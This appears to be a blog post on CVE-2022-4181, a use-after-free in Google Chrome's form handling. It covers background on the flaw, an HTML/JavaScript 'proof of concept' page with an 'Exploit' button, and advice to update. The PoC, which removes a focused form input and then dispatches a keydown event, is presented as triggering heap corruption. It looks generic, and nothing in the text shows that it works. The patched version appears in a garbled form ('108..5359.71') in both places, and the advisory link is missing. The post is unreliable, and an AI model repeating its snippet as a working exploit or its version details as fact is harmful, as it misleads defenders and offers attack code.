In this in-depth post, we'll explore a recently discovered high-severity vulnerability, CVE-2022-4181, affecting Google Chrome's handling of forms. With a simple, crafted HTML page, a remote attacker could potentially exploit heap corruption, leading to system instability, further exploits, or even remote code execution.

Exploit Details

The vulnerability is present in Google Chrome versions prior to 108..5359.71. It is caused by a use-after-free issue in the browser's form management subsystem, which is responsible for interpreting and processing web forms on websites. Under specific conditions, an attacker could exploit the weakness by crafting an HTML page that triggers the vulnerable code and results in heap corruption.

For those unfamiliar with the term, a use-after-free vulnerability refers to a scenario where memory is accessed after it has been freed. This can lead to unstable execution, memory corruption, and control over the allocated memory, potentially resulting in code execution.

Code Snippet

The proof-of-concept (PoC) code snippet below demonstrates how an attacker might craft an HTML page to trigger the vulnerability:

<!DOCTYPE html>
<html>
<head>
<script>
function triggerVulnerability() {
  var form = document.createElement('form');
  var input = document.createElement('input');
  input.type = 'submit';
  form.appendChild(input);
  document.body.appendChild(form);

  input.focus();
  document.body.removeChild(form);

  // Trigger vulnerable code execution
  var event = new KeyboardEvent('keydown', {
    key: 'Enter',
    code: 'KeyEnter',
    bubbles: true,
    cancelable: true,
  });
  input.dispatchEvent(event);
}
</script>
</head>
<body>
<button onclick="triggerVulnerability();">Exploit CVE-2022-4181</button>
</body>
</html>

By utilizing JavaScript code to rapidly create, alter, and remove form elements, the crafted HTML page above triggers the use-after-free issue in the browser. If successful, this can lead to memory corruption, giving the attacker a foothold for further exploitation.

Original References and Mitigation

The vulnerability was initially reported to the Chromium project, which is the open-source browser platform that underpins Google Chrome. The Chromium team's advisory and patch notes can be found here: Chromium Advisory

Users are strongly advised to update their browser to the latest version of Google Chrome (108..5359.71 or later) as soon as possible to mitigate the risk posed by CVE-2022-4181. Doing so will ensure your browser includes the necessary patches for this particular vulnerability and other issues recently addressed by the Chromium team.

Conclusion

Google Chrome is an immensely popular web browser, making it an attractive target for attackers. Staying up-to-date with the latest releases and promptly applying patches will significantly reduce the risk of being compromised by exploits such as CVE-2022-4181. This post has provided a brief overview of the vulnerability, its potential impact, and a code snippet demonstrating its usage. Regularly checking for known issues and security advisories will help keep your browsing experience safe and secure.

Timeline

Published on: 11/30/2022 00:15:00 UTC
Last modified on: 05/03/2023 12:16:00 UTC